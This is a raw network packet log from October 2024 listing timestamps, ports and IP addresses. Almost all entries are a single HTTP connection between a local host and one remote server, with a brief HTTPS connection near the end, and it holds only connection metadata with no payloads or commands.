Oct 28, 2024 19:46:18.208785057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209069014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209120035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209130049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.209155083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209188938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209214926 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.209224939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209280968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.209405899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209441900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209476948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209511995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209513903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.209547997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209564924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.209577084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.209625006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.210139990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210170031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210203886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210218906 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.210238934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210274935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210305929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.210309982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210345030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210365057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.210935116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.210983992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.210988045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211024046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211074114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211076021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.211108923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211143017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211157084 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.211862087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211896896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211916924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.211930990 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.211966991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212002039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212002993 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.212037086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212059021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.212070942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212115049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.212815046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212851048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212886095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212903976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.212920904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212954044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.212975979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.212989092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213021994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213042974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.213660002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213711977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213723898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.213747978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213782072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213802099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.213814020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213849068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213869095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.213882923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.213934898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.214596987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214632988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214667082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214692116 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.214701891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214735031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214756966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.214770079 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214801073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214824915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.214835882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.214890003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.215519905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215555906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215589046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215606928 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.215624094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215658903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215687037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.215694904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215729952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.215759039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.216408968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216444969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216464043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.216480017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216514111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216537952 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.216548920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216584921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216603994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.216619968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.216674089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.217179060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217215061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217242956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217262983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.217292070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217325926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217341900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.217360020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217394114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217422962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.217427969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217462063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217478991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.217495918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.217549086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.218131065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218175888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218209982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218223095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.218244076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218278885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218296051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.218314886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218348026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218362093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.218383074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218420029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.218436003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.219089985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219141960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219146013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.219176054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219225883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219244957 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.219261885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219296932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219322920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.219350100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219383955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219400883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.219419003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219451904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.219466925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220098019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220134020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220149994 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220168114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220202923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220221996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220237970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220273972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220292091 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220309019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220344067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220364094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220381021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.220431089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.220935106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221179962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221215963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221231937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.221252918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221287966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221307039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.221323013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221357107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221380949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.221391916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221426964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221446037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.221462011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.221509933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.222110033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222146034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222182035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222198009 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.222218037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222254038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222270012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.222289085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222325087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.222341061 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.266160011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.268877029 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277035952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277120113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277154922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277179956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277354002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277389050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277407885 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277422905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277478933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277489901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277553082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277587891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277604103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277621031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277657032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277678013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.277692080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.277738094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278162003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278197050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278250933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278250933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278281927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278332949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278564930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278599024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278633118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278650045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278666973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278701067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278717995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278737068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278772116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278786898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.278801918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.278851032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.279367924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279403925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279454947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279454947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.279489994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279540062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279542923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.279572964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279611111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.279628038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280019999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280064106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280067921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280097961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280133009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280150890 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280165911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280200958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280226946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280235052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280272007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280291080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280304909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280355930 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.280913115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280949116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.280977964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281008005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281013012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281047106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281066895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281081915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281116962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281137943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281151056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281186104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281208992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281784058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281820059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281836033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281867981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281902075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281920910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.281936884 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281970024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.281991959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282004118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282037020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282053947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282078981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282135963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282721996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282757044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282790899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282818079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282825947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282861948 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282876015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282897949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282929897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.282944918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.282963991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283018112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.283406019 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:18.283458948 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:18.283544064 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:18.283545971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283581972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283615112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283643007 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.283649921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283684969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283701897 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.283719063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283752918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283754110 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:18.283771038 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:18.283780098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.283787012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.283844948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.284449100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284488916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284521103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284538031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.284557104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284591913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284605980 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.284626961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284661055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284677982 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.284694910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284725904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.284749985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285067081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285119057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285120010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285156012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285187960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285202026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285222054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285257101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285270929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285291910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285326004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285340071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285361052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285394907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285409927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.285429955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.285480976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286058903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286093950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286128998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286138058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286163092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286196947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:18.286210060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:18.286232948 CET	80	49726	166.1.160.211	192.168.2.16
